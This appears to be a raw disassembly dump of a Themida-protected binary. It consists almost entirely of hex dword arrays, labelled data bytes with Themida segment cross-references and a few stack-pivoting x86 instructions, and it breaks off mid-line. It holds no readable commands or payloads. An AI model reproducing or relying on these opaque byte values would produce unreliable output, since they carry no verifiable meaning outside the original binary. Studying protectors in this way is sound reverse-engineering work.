0C455E309h, 32C59C4Dh, 5B8161C2h dd 67EB8EE8h, 50615AFCh, 0A43DBE60h, 8B667ACDh, 48961C3h dd 99958924h, 6406481Ch, 35FFh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 15BDD2C3h dd 505B589h, 48B0648h, 8589F924h, 6481F79h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 32C35545h, 0DA8634D0h dd 0BD32EE44h, 959D8935h, 0E906481Ah, 10h, 0C675612Eh dd 519A5281h, 0AC27B173h, 568778FDh, 258964h, 0F9000000h dd 95E2858Dh, 6A064Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 431CA4C3h, 319D89FCh, 8906480Eh dd 6A0160h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h dd 50400000h, 4CC72FC3h, 603ACAC6h, 0A4E18166h, 0D8BF0FA9h dd 6800F61h, 89000000h, 481F7195h, 1C2E906h, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 0CC895C3h, 0D1BD314Eh, 8B064824h, 0E8DBh, 815D0000h dd 4B95DBEDh, 0FF9CBC06h, 0BD830012h, 6482F19h, 8B187400h dd 480FD585h, 0C606h, 2A31858Bh, 0C60648h, 6995FF00h, 6006482Ah dd 7EF6B5FFh, 858D064Bh, 64B7EFAh, 0F2858D50h, 50064B80h dd 4D195FFh, 0C4830648h, 6AF5610Ch, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 8FACC351h dd 0B58DBCC9h, 64B80F2h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 40C35545h, 0A14BEAE5h, 43004711h, 1BD8DC0h dd 0FC064816h, 0F003E80h, 3C84h, 89A4FC00h, 48151D85h dd 0FFEAE906h, 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 4551F4C3h, 1698F1E3h, 0B1B5296Ah dd 89064830h, 482DCD95h, 0B806h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 694B3C3h dd 0B07C96F4h, 0B8FCAA82h, 7, 0FE9h, 677CBB00h, 5751F656h dd 5A35CC5Ah, 0EA0EB722h, 2BD585C7h, 10648h, 8D890000h dd 64829EDh, 4B648D8Dh, 85010648h, 6480005h, 850FE1FFh dd 1Fh, 19820Fh, 14E90000h, 13000000h, 9647F772h, 190D2AFDh dd 1F4FE1A6h, 0E60716AFh db 9Eh, 0C3h, 37h byte_5764B3 db 8Bh ; DATA XREF: Themida_:0053D7D8o ; Themida_:0053F7ACo ... dword_5764B4 dd 550C245Ch, 0E8h, 0ED815D00h, 64B974Eh, 0B8838Bh, 85890000h dd 64B7EF6h, 95D4858Dh, 8389064Bh, 0B8h, 0C3C0335Dh, 13E9h dd 25586700h, 43ED76B8h, 0ED13409Fh, 0D804353Eh, 0DC0DBF4Bh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0B9C35646h dd 6A603847h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 7512C351h, 67F056A9h, 6850F4Ah dd 29000000h, 481FE1B5h, 958B6006h, 64810D1h, 68858D61h dd 6A064B99h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 0A3D8C356h, 7B70FCBDh, 90CFABA5h dd 0C860Fh, 820F0000h, 6, 310F5250h, 5050585Ah, 68D0F52h dd 0F000000h, 8Dh, 0E9310F00h, 7, 4A08AD55h, 5A759F9Eh dd 0B5019058h, 64804C9h, 35FF64h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 0E93AC356h, 0Ch, 97392105h, 9B5DBF9Bh, 0C49C56EDh, 258964h dd 0F000000h, 683h, 0A9BD2900h, 8D06480Ah, 4B99DE85h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 0F7B8CF9h, 78Fh, 18D0F00h, 0FC000000h, 0F016089h, 68Eh dd 0D9D8900h, 0F9064814h, 276D85C6h, 6A4F0648h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 15E1C353h, 68F3E921h, 905B1D23h, 12830Fh, 0DE90000h dd 0A000000h, 0B9F11206h, 0BBCCC0F0h, 5C94B12Eh, 7240481h dd 296E6D57h, 4825CD8Dh, 0C8A0F06h, 0F000000h, 688h, 49B58900h dd 0FF064827h, 482195B5h, 158D3106h, 8D06480Ah, 4B831E85h dd 0C810F06h, 0F000000h, 689h, 59958900h, 0FF064821h, 99BD31D0h dd 0E906481Dh, 81h, 55858B60h, 66064829h, 8B61F18Bh, 550C245Ch dd 0E8h, 0ED815D00h, 64B9972h, 2C21858Bh, 85890648h, 6482195h dd 205D858Bh, 85890648h, 6482175h, 2C2D858Bh, 85890648h dd 6482F75h, 276D85C6h, 0C7000648h, 4B84B285h, 6, 0DE858D00h dd 89064B99h, 0B883h, 0C0335D00h, 57006AC3h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 485C930Bh dd 0FF74BCF8h, 6A0012h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 457F82C3h, 645F2E41h, 58Fh, 95290000h dd 6482141h, 0E904C483h, 0Ah, 0B2BDF1EEh, 0A94EEF18h, 0E9617499h dd 148h, 50h, 54h, 58h, 5Ch, 60h, 64h, 68h, 6Ch, 0B0h dd 0B4h, 0B8h, 0BCh, 0C0h, 0C4h, 0C8h, 0CCh, 0D0h, 0D4h dd 0D8h, 0DCh, 0E0h, 0E4h, 0E8h, 0ECh, 38h dup(0) dd offset dword_5764B4+344h dd 9F50EBh, 9A29858Dh, 8589064Bh, 64B9B69h, 0AD9B589h dd 85C60648h, 648276Dh, 0E8CA8B54h, 4, 0EE626829h, 0D48A5357h dd 8B50595Bh, 50042444h, 12BA6652h, 60310FEEh, 0BE9h, 6E4CEF00h dd 82908114h, 471E2020h, 310F5250h, 5A61585Ah, 0F008B58h dd 8Bh, 24448900h, 58BB6604h, 6EB55858h, 95B5FFF9h, 0E9064821h dd 0Eh, 96A80AFh, 9948D15Fh, 5778ADC5h, 858DC32Bh, 64B831Eh dd 203DB58Bh, 0D0FF0648h, 20E19589h, 85890648h, 64B9B6Dh dd 53E9h, 0E1BD8B00h db 26h, 48h, 6 byte_576983 db 56h ; DATA XREF: Themida_:0053DB20o ; Themida_:0053DD9Co ... dd 9B69B58Bh, 689064Bh, 9B698583h, 5E04064Bh db 0C3h byte_576995 db 60h, 8Dh, 0B5h ; DATA XREF: Themida_:0053F5D4o dd 64B9A29h, 6A560FEBh, 0FF36FF00h, 4B9B6D95h, 0C6835E06h dd 3E8304h, 0C361EC75h, 7E9h, 28B76C00h, 0C2DDED80h, 0BE9h dd 4E94DB00h, 0B1639380h, 7EF057B7h, 9C26858Dh, 950B064Bh dd 648096Dh, 0E0FF90B9h, 6585895Eh, 0E9064828h, 0E5h, 0FFEE4D10h dd 1F3271DCh, 7A0E0A1Dh, 33538FDDh, 7D2F6D37h, 2D773D55h dd 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh, 577DD773h, 5FEDF73Dh dd 335375D5h, 7D2F6D37h, 2D773D55h, 0D77DD57Fh, 171E577Dh dd 2075DF6Dh, 20602060h, 60E0E020h, 7B68AC20h, 0A1E4A9F7h dd 93B2D020h, 9DB7EDA6h, 0A3F291B9h, 206020ACh, 20602060h dd 60E0E020h, 33537520h, 7D2F0D0Ah, 20602055h, 28602060h dd 0F0362BA7h, 0F360D650h, 96A1EFB6h, 0A7B4E0F7h, 7192B8E3h dd 0B9E9B3F4h, 2060F76Dh, 20602060h, 0F7202060h, 351ADF6Dh dd 577DD773h, 5FEDF73Dh, 335375D5h, 7D2F6D37h, 2D773D55h dd 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh, 577DD773h, 5FEDF73Dh dd 335375D5h, 7D2F6D37h, 0E0A1E35h, 66C1A800h, 0F2FD54A7h dd 0B4DF343h, 0C66E97Eh, 0D2680000h, 0E9064B9Fh, 0FFFCDFEBh dd 4BA0D368h, 0DFE1E906h, 9A68FFFCh, 0E9064BA1h, 0FFFCDFD7h dd 4BA28D68h, 0DFCDE906h, 1168FFFCh, 0E9064BA3h, 0FFFCDFC3h dd 4BA3A468h, 0DFB9E906h, 0FA68FFFCh, 0E9064BA4h, 0FFFCDFAFh dd 4BA5FB68h, 0DFA5E906h, 0C568FFFCh, 0E9064BA6h, 0FFFCDF9Bh dd 4BA7AE68h, 0DF91E906h, 5E68FFFCh, 0E9064BA8h, 0FFFCDF87h dd 0C46CB8ACh, 0C66EBA93h, 0C56FBB95h, 0C66EBA94h, 0C66EBA95h dd 0F5EA6F57h, 0FBEEAFA9h, 0FFD485AFh, 2D889B3h, 0D61A7EB6h dd 125084FAh, 1F4DA856h, 503F2F3Bh, 10ED5612h, 0D7FBF7FDh dd 0E42ED79Ah, 1D69815Ah, 105C7522h, 0DB2CB34h, 0E6C4E6B0h dd 0C915F34Ch, 4165D9F5h, 68C74FC7h, 0D4498CCEh, 0B38AB2FEh dd 0F1CD7B91h, 0C74169DDh, 0CA64CB4Fh, 41D1BE92h, 0BC63498Fh dd 0B2FED483h, 0B0A6AA96h, 84560F41h, 0A1BD919Dh, 0CB54A0B8h dd 530F5574h, 21087D08h, 5CCE5E06h, 4AE4ABE4h, 3E09550Dh dd 0F5A3D36h, 65A0F656h, 86AEFAF0h, 76B1FDD5h, 7AC511C9h dd 6EB905DDh, 80CB17D1h, 0CF7A59B1h, 0DC9F23Eh, 0B203B4BFh dd 0EE17DA17h, 62D72E24h, 6A2C2470h, 5B398E55h, 5222Eh dd 5586C800h, 0CF52E7Ah, 677D5502h, 4029226Eh, 875A7BE9h dd 0FD19F03Bh, 0F7431748h, 2E46F63Dh, 926D3E12h, 60BF498Eh dd 0D3D5CDE7h, 0D38C560Eh, 0C39BBC87h, 55DAC77h, 1A4623CEh dd 69786B09h, 7F9B0A9Bh, 0FF84FAD9h, 845B3959h, 3Ch, 0D3E95B1Ah dd 9E825975h, 0FD26498Eh, 224CA74Eh, 121822BDh, 4BE22E25h dd 48FE7400h, 5369560Fh, 789E7A2Ah, 0EF18BE18h, 595EAE60h dd 9BBD5946h, 21BDC238h, 0D5C65B39h, 60000000h, 3F1D6981h dd 42F34116h, 0C14F40B9h, 0E35CB64Fh, 0D44F9BB4h, 0E863AFA3h dd 0DD57A3B7h, 77C398C1h, 0B1B955ACh, 4FC742EAh, 0EB338159h dd 44DCE9F7h, 4A0B45DCh, 7ED34C98h, 0A6BAA6BEh, 0C1C0B6BAh dd 8D744FC6h, 0A8D2E981h, 6556498Eh, 4227206Ch, 491E4BE9h dd 34FE09FEh, 522913EEh, 6D1DD8F2h, 69F4691Bh, 0BEC8A4C0h dd 6E4FD461h, 7DC612C9h, 0F6DF7DA4h, 0FA9B95E1h, 6EABD4E5h dd 29BA6CBAh, 0DCA89EBAh, 0A58C4FC8h, 8865AE7Ch, 0FB24CCB9h dd 94B1Ah, 71BDAF00h, 73BF96C7h, 74C098C9h, 77C39BBCh dd 77C39CBDh, 0F3785EBDh, 0F7A890DCh, 0FD9E96E2h, 1A29AE6h dd 1FB39DE9h, 527FEFFBh, 16AD5612h, 5066810Ch, 7AE24B97h dd 421B3129h, 5B250FF6h, 75D3E95Bh, 8E9E8259h, 95FD2649h dd 805193CAh, 0BD86D287h, 0AF71BD64h, 0AC3F450h, 0FCD285BEh dd 88BD59B0h, 0F8576ECh, 0A8F4EB56h, 9DE9009Fh, 8FDBF5A2h dd 0FD33AD94h, 82E1BC6h, 0E74C57CDh, 0BB375B39h, 0CF000000h dd 221D6981h, 150E5A75h, 8B9C4E67h, 0C6B3CFBFh, 6BC25D4Fh dd 0B1E0A3CFh, 8F434FC6h, 92481943h, 3A091A46h, 98043890h dd 44DD293Ah, 3CFC55EAh, 0F13A865Ah, 6753F118h, 6E077753h dd 0A254FC7h, 55AF4430h, 0A27D498Fh, 6B81C3BAh, 990DE1FDh dd 9B560F46h, 0AEC29A74h, 4FD4B3CFh, 0B2FED87Dh, 0CB799079h dd 0AFA9F5EAh, 0ECE3F9EEh, 12A989A0h, 1DCCB99Fh, 84AE352h dd 0BEAE0000h, 0BC99CA72h, 0C197C870h, 0C49ABB75h, 0C89FC078h dd 7D45D47Ch, 0A993DFF8h, 9B95E1F8h, 0B39DE9FAh, 0ACA4F0E2h dd 76E80428h, 0B6561253h, 6681131Fh, 5586221Ah, 10F9327Eh dd 35815906h, 698141FBh, 5D75221Dh, 2E073311h, 0EC62EE3Ah dd 404FC6B2h, 2E0155E1h, 0D8F050A0h, 69A2136Ch, 68F368A0h dd 8C97E3F7h, 0DD0159B5h, 1279ED01h, 54BB4FC7h, 0F565B2BAh dd 7897498Eh, 3EE16B69h, 1E1EB757h, 0B1965A06h, 0A3420E9Fh dd 0CE6EC37Ch, 0EAC68AB6h, 9448555Fh, 0D561ADA3h, 0A4F0E253h dd 0E4F6DF7Dh, 0EBFFA098h, 0C6358B9Dh, 49D0B4AAh, 6E997848h dd 93C414C4h, 52B770BCh, 9F565BBBh, 16613438h, 78327h dd 0A9F5E700h, 0ABF7EEAFh, 0ACF8F0B1h, 0AFFBD384h, 0AFFBD485h dd 0AB309685h, 0AFF068B4h, 95C66EBAh, 99CA72BEh, 0D7BB75C1h dd 54C7B793h, 8E655612h, 1D698144h, 3041163Fh, 0C6B32A1Ch dd 0FE270A4Fh, 0F6460B34h, 0D8FADADCh, 0FBD5659Fh, 0EEE556AFh dd 1DD8BA2h, 0A09D11DDh, 5C94FC7h, 4FC7A091h, 8BA67CA3h dd 85B8C3AFh, 0AB86498Fh, 0D9CDA1BDh, 5B560F7Bh, 82CE83B4h dd 82D660C9h, 0A2AE89BBh, 560F7BACh, 9E10DC80h, 8E560F7Bh dd 0D5739A73h, 96A0ECE4h, 0F85E02CEh, 0B34E4FD5h, 62AEA495h dd 0A016DA06h, 944FCA08h, 0ECADA16Dh, 0D8A1AAF6h, 0D8F45068h dd 4990841Fh, 0A596B24Dh, 0D20361ADh, 0B208AFFDh, 2DA02D06h dd 45163AD4h, 3223418Dh, 146D01Ch, 54F00838h, 102C1768h dd 0E85BE82Ah, 96E1264Eh, 0EC134FD7h, 0BB7B931Eh, 68CD96CCh dd 690h, 9C94E0F4h, 9E96E2FBh, 9D97E3FDh, 9E96E2FCh, 9E96E2FDh dd 0BD9217BFh, 0C396C771h, 0C79CBD77h, 0CAA0C17Bh, 9EC2D67Eh dd 1255DCD2h, 29755056h, 75D3E95Bh, 0E5597549h, 474FC6B2h dd 0FE707CE8h, 2E4FC6B2h, 0BC2B47D3h, 7A498D2Eh, 0DA90A997h dd 0D189B28Eh, 0F4A5A985h, 0EB9992DEh, 4F8BFBCFh, 86A95612h dd 4FA016DAh, 6D945612h, 96AE8EA1h, 3495A6AAh, 0C8674FDAh dd 0B818716Ah, 6F740CCh, 60Ch, 8307C70h, 0A327E57h, 9337F59h dd 0A327E58h, 0A327E59h, 392EB31Bh, 3F1243EDh, 431849F3h dd 461C3DF7h, 125E42FAh, 1256483Eh, 0C509EC56h, 75D3E95Bh dd 8D2FB759h, 52062F49h, 1BF62C06h, 0A560C2Dh, 0D591152h dd 1DFD3F12h, 0D72AF541h, 13E122Eh, 6D4FD8CCh, 0FD46924Ch dd 0F9180A24h, 2C786A4Bh, 0E4302710h, 242C065Bh, 3A865F78h dd 61FE18F1h, 2F023D89h, 7549F70Dh, 0F7438F44h, 8EA0BC7Bh dd 0F717FA49h, 0CAF38DCCh, 79997CA7h, 0DD000005h, 0E081BB07h dd 0DE7FB905h, 0C596BE0Ah, 0C293BD09h, 8897C10Dh, 56A2BD42h dd 58A4BDDEh, 60ACBFE0h, 67B3A7F8h, 0A9C5E9EDh, 561256B5h dd 81525C77h, 75221D69h, 7B27115Dh, 0B31B8B5Fh, 0F6194FC6h dd 0B23151Ch, 11554E57h, 4CF81113h, 8ED23380h, 9DA68949h dd 0F139B0Fh, 2FE6CC56h, 74C096BFh, 9ABC56ABh, 5B397205h dd 4B7Eh, 0E95B1800h, 120C75D3h, 582210EAh, 804C1822h dd 498F99ABh, 87251E01h dd 560F8A13h, 0D7509C4Eh, 0DD66B2A8h, 34DF368Ch, 43073309h dd 560F8A53h, 5EF43EE1h, 0ECAE31A7h, 0ECD55B39h, 87000000h dd 0B36CB8AEh, 0C982CE84h, 0D76DC960h, 7D536981h, 304FD831h dd 5C7DEB37h, 1BEE3985h, 55E12D28h, 4F9B4FF0h, 0C30FC8F1h dd 0B400D788h, 0A36F966Bh, 99E5FD9Ah, 386652ABh, 314F3164h dd 140F5B0Eh, 416DE12Dh, 4FC6B57Ah, 0ABA5F1E9h, 0E3E7F8EAh dd 4FC6BA73h, 7CC75EC1h, 0AAA383B5h, 0A57CE55Eh, 0BAA0B3B7h dd 0B14E498Eh, 77537755h, 5C977FBh, 560F0A91h, 0ABA57CA3h dd 5C74C4h, 0B8C1C3DCh, 305B30BFh, 0FAA78EE6h, 8AA54FD4h dd 96E2FDDEh, 8CC859AAh, 66EB66C6h, 0FCD384CCh, 0C67562B0h dd 0EB34CCB9h, 4230Ah, 89D58700h, 8BD78ECFh, 8CD890D1h dd 8FDBF3A4h, 8FDBF4A5h, 8B10B6A5h, 8FD088D4h, 0F5A68EDAh dd 0F9AA92DEh, 379B95E1h, 5767D7F3h, 2EC55612h, 1A668124h dd 321D8622h, 0ADE30EFh, 4F0354DEh, 5BEF5903h, 0C75D3E9h dd 431BC5E5h, 2AD52CF7h, 0B6BA5C7Fh, 4FC7A9C0h, 9A748D74h dd 9555AEC2h, 7897498Fh, 8DADA5AFh, 9FB4560Fh, 0AFA7D853h dd 3189E863h, 1C3A27D2h, 0EF4043B9h, 0B8435B39h, 0DB000000h dd 0B51B6981h, 8FC8B3A4h, 9A0361C8h, 1D24CD26h, 2C111DBCh dd 3F08540Bh, 0C7486E35h, 0EA06DA4Fh, 4FC74774h, 0A0BD59B8h dd 85D67ECAh, 0F7E381CDh, 9DBB07DEh, 4FC747A9h, 9C7BA48Bh dd 0C7069A03h, 3E132C06h, 0FB471CFEh, 11A3612h, 0EB498F3Fh dd 0C17637Ah, 0D52C786Bh, 0B2D042Ch, 38347F5h, 314FD4ACh dd 904972CEh, 4972EA44h, 491A428Eh, 1DF4428Eh, 98CCB983h dd 3226ECFh, 0D6860000h, 0D491D28Ah, 0D98FD088h, 0DCF2A38Dh dd 0E0F7A890h, 15BD9C94h, 0D18BD790h, 0A38DD990h, 9B95E1F2h dd 0B49CE8FAh, 7EF0FC20h, 0AE561258h, 66810B17h, 6981221Ah dd 8149331Dh, 75221D69h, 0C3840F5Dh, 0A4ECA682h, 0EC176917h dd 0A67F307Fh, 9F4FBBAEh, 15D9879Dh, 498EB84Ah, 0CB17CB7Ch dd 7585A362h, 0D6F23BC9h, 0D1C58966h, 60F24426h, 60C6ADC8h dd 67CA6014h, 39393BBCh, 1D045B04h, 8BEC2B3Fh, 72AEC0Ch dd 2D43F53Ch, 0B653B0Fh, 0F40DEDC3h, 942F9731h, 0AAA39476h dd 0B27CE55Eh, 82B39170h, 0C7D884D0h, 9DB14476h, 0F244C1A9h dd 0C67BA48Bh, 0E46CC6D5h, 80CC9FB8h, 65B1A9B6h, 0C5DFFCC5h dd 8D70BB6Eh, 258h, 0F45CA8BCh, 0F65EAAA3h, 0F55FABA5h dd 0F65EAAA4h, 0F65EAAA5h, 5DA5F67h, 0BDE7FB9h, 0FC495BFh dd 12C899C3h, 0E60A8EC6h, 1259940Ah, 0F13D9856h, 3F1D6981h dd 2FF84416h, 0EFC1F1D8h, 1E073607h, 56E62B14h, 0A94E223Eh dd 0E5498E9Dh, 0E281F5F9h, 4CB3560Eh, 0A3C160C2h, 0C5519DB2h dd 0C4249E91h, 9F005C74h, 0D29B72Bh, 59010D5Ah, 0D78ECA95h dd 60CD364Fh, 74C0961Bh, 630E2D8Bh, 4029226Eh, 34DB4DE9h dd 0AABE97A5h, 0B27CE55Eh, 4921FCBAh, 22FD3FF3h, 54DE584Eh dd 0CC35DC0Ch, 0C6334C70h, 7713C466h, 8F514513h, 3CE30C55h dd 81666AF2h, 0B3061D6Fh, 0BE7ED34Ch, 0C5A1BAA6h, 0BF5BAE79h dd 2FF1C7A3h, 0C0990454h, 50D25CA8h, 316EE0ECh, 63BE0C54h dd 0A5BD9ECAh, 0ACBEDF59h, 0DCEBD260h, 7DA67036h, 16F98h dd 0B501D300h, 0B703DA7Bh, 0B804DC7Dh, 0BB07DF80h, 0BB07E081h dd 0B73CA281h, 0BBDC54A0h, 0C1E25AA6h, 0A5F65EAAh, 0E3F761ADh dd 5AC3B3B7h, 52715612h, 421D8650h, 7E340A7h, 0FE5C521Eh dd 31D04FC6h, 49213ED8h, 4DEF42FDh, 4350937h, 3B37034Fh dd 498F09FCh, 5069D73Ah, 29FE4995h, 2589A58Bh, 32FC25E7h dd 36B84B1Eh, 7E52EE06h, 4FD701B1h, 0BFDD1C03h, 0F734AA6Fh dd 0E8546CCCh, 813B03E4h, 51126B02h, 0C4894F69h, 0B905D689h dd 0A97F9B6Eh, 0C474BD86h, 0E4BC90ACh, 540847C0h, 0B4A68FADh dd 0BBAFF068h, 0AFEA9F6Fh, 0A2CD744Ah, 0BFB3h, 0E5312300h dd 0E7332A6Bh, 0E8342C6Dh, 0EB372F70h, 0EB373071h, 67ECF271h dd 6B2C2470h, 71322A76h, 55062E7Ah, 9307317Dh, 5B138347h dd 0C2215612h, 1D698180h, 0F642163Fh, 0C5F8C70Dh, 54DE1DDEh dd 0FC1626EBh, 0BF0EC810h, 0B2AEBD9Eh, 0D1D8D1ACh, 5773D138h dd 498EFA30h, 0EDB9A37Eh, 0FB89FDD1h, 84AB560Eh, 9FB587AAh dd 7893ADC1h, 5EC14FD5h, 54A0B2E5h, 91A7BBDCh, 0AB748DD9h dd 8A2CB6A1h, 19428E37h, 0D42DF642h, 48BD183Ah, 520E4692h dd 0A247069h, 0FE49954Dh, 767A66h, 34C809E4h, 3A1441CDh dd 5DF335EEh, 0ED3931A6h, 0F4401243h, 3028112Bh, 2C065BE4h dd 3E9h, 1763A500h, 241F6B81h, 18135F73h, 1F287467h, 221D6980h dd 150E5A75h, 26216D62h, 16115D79h, 28236F69h, 19125E77h dd 0E1895174h, 4BE56h, 0F1010000h, 4E9835Eh, 5C240C87h dd 81E78957h, 4C7h, 4EF8100h, 87000000h, 895C243Ch, 0F568243Ch dd 89000012h, 0D5682404h, 8B064B9Dh, 0C483243Ch, 71A96804h dd 24890000h, 24048324h, 0FA685804h, 8900005Ch, 2C81243Ch dd 4763BB24h, 8408F48h, 0BB084081h, 0FF484763h, 81582434h dd 4C4h, 243C8B00h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_544ACB ; --------------------------------------------------------------------------- dd 6EC1F284h, 4BA942B8h, 0FFC50306h, 984DD9E0h, 74694D64h dd 0A85F5F1Dh, 0A603F55Ah, 0E65DA53Eh, 3CADA513h, 0FD9D9535h dd 55865E45h, 0B7CA590Dh, 908E2A01h, 0DE843h, 13A90000h dd 0C7D3ECA4h, 0A9697910h, 0E9CAE0D2h, 13h, 0C91037EBh dd 450E386Fh, 0E6D034AAh, 0DA292001h, 5A7DEF1Dh, 17850Fh dd 12E90000h, 0BF000000h, 9C66C33Fh, 0B6A48DB4h, 0A6CCFDD8h dd 9C77383Eh, 7C28117h, 0B8000065h, 7095B113h, 6802C081h dd 66608F6Ah, 6655BBBFh, 61C010BBh, 0CE8B32FFh, 38E0F5Fh dd 0F000000h, 0EF81F1BFh, 133ECAEFh, 0F781EF8Ah, 36F77CDAh dd 6E9h, 259CAD00h, 81684FF4h, 5BE463F7h, 0B2E98014h, 66603A89h dd 0B406FEBBh, 0EA8161A0h, 38967114h, 0C281CB8Bh, 38967110h dd 83F18B66h, 850F01E8h, 0FFFFFFACh db 60h byte_577825 db 0Fh, 0B7h, 0F2h ; DATA XREF: Themida_:0053F414o dd 104BEB61h, 3C2F0E09h, 0DA4B1AC5h, 0D41CA4ACh, 0E45C5CD2h dd 3134CE00h, 27CE1BF5h, 34D129B3h, 2AC7DD5Bh, 1BCE17E6h dd 0DB6734DFh, 0AACA00A6h, 0EA1A0046h, 0D5A3h, 199C0000h dd 0FEC8h, 0FBFE48h, 41280000h, 7DD427E6h, 4CE9C372h, 0F00000Dh dd 681h, 0D8D2900h, 8306480Dh, 481949BDh, 850F0006h, 42h dd 2E59958Bh, 0F2810648h, 68AD62F0h, 0B8h, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 754F17E4h, 0C2CF8B66h, 0B2600004h, 2800F05h, 60000000h dd 0C08B6161h, 8979BF66h, 20E9BD83h, 75000648h, 61BD8309h dd 6482Ch, 53501374h, 0D0B8C08Bh, 8D000004h, 4AAE009Dh dd 5BD3FF06h, 61BD8358h, 6482Ch, 53501174h, 4D0B8h, 4D9D8D00h dd 0FF064AADh, 6A585BD3h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 0E436C353h, 8BF9B70Fh dd 41BD23C0h, 8D06481Fh, 4BAAFF85h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 847497Bh, 504CBF84h dd 2EB96660h, 0D38B51E7h, 489615Bh, 51006A24h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 4F11766h, 8DECF464h dd 4BAABC85h, 499D0B06h, 5006481Fh, 52506060h, 585A310Fh dd 840F1BBAh, 89616101h, 6A2404h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h, 0BBF0DAC3h, 0C8B550C2h dd 0E84BB4B9h, 58D8B3Ch, 0FF06481Ch, 482D7595h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 5297592h, 448B0363h, 8B660424h, 0E78589FBh, 89064BAAh dd 482F2195h, 68E0F06h, 0F000000h, 85h, 24448B00h, 0A5858908h dd 8906481Dh, 4BAAFB85h, 0B800F06h, 60000000h, 18298D89h dd 0B70F0648h, 0BD8361FEh, 6482C55h, 850F00h, 6A000001h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 0E52C351h, 87AD1ADFh, 276D85C6h, 89470648h dd 48281585h, 4E806h, 0A7D20000h, 0F88BD49Ah, 860F50h dd 8B000000h, 66042444h, 8BCA22BFh, 0A3BF6000h, 0B9198ACFh dd 6E2DC255h, 24448961h, 0E8525004h, 7, 924E3663h, 60AF0DB8h dd 310F5B61h, 585AEE8Ah, 0FD9D8B58h, 0FF06480Eh, 482195B5h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 0EF8166EDh, 858DA773h, 64B831Eh, 8AC0C181h dd 0FE94A1Eh, 60000000h, 0B8E31673h, 0EE097B14h, 0C03AEC9Dh dd 0D0FF6CB6h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 35C35747h, 2C558589h, 6A0648h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 150424h, 52420000h, 83943CC3h dd 482441BDh, 850F0006h, 97h, 7E8h, 66C8EF00h, 2651B75Bh dd 15458D8Bh, 0C65F0648h, 48276D85h, 8B664706h, 4FEB81D3h dd 6830EE66h, 3A7FAA6Bh, 77240481h, 8B4F900Bh, 4809958Dh dd 95B5FF06h, 8B064821h, 1E858DD0h, 6A064B83h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 88EC352h, 8D12FEBAh, 6AD0FF2Fh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0B23C356h dd 3B33FA33h, 89E2ACF6h, 48244185h, 6D9D2306h, 8306482Bh dd 481521BDh, 850F0006h, 12Ah, 6E8h, 0C4C2E700h, 29938E40h dd 482DBD9Dh, 85C65A06h, 648276Dh, 0DA8B6656h, 906EFA68h dd 0FE860A2h, 20000000h, 55B151C8h, 87715A9Ah, 0C6404C89h dd 0B8662FE6h, 0B95FF398h, 640B8C4Dh, 24348161h, 768F03C3h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0ADC35141h dd 1795F45Bh, 0B222656h, 12E8h, 8406A400h, 0F9A08F2Dh dd 0AEBB4C8Ah, 3678D6E0h, 5F267A05h, 5810Fh, 0C7BF0000h dd 0FF4DB271h, 482195B5h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 14099169h dd 0E9F9B70Fh, 10h, 4E6BCDA2h, 0B9C29A6Dh, 7159763h, 153F01FFh dd 831E858Dh, 6A064Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 0A5B69BC3h, 0D0FFD68Bh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 1FC35747h, 0A01546BEh dd 81664C0Fh, 667BD3CFh, 6955F181h, 15218589h, 0B9660648h dd 85C6C25Fh, 648276Dh, 95B5896Ch, 8B064829h, 40768DAh dd 8B66B163h, 243481DFh, 6A667484h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 3EC35646h, 3228C903h, 254204A7h dd 21B5FF9Ah, 6A06482Ch, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 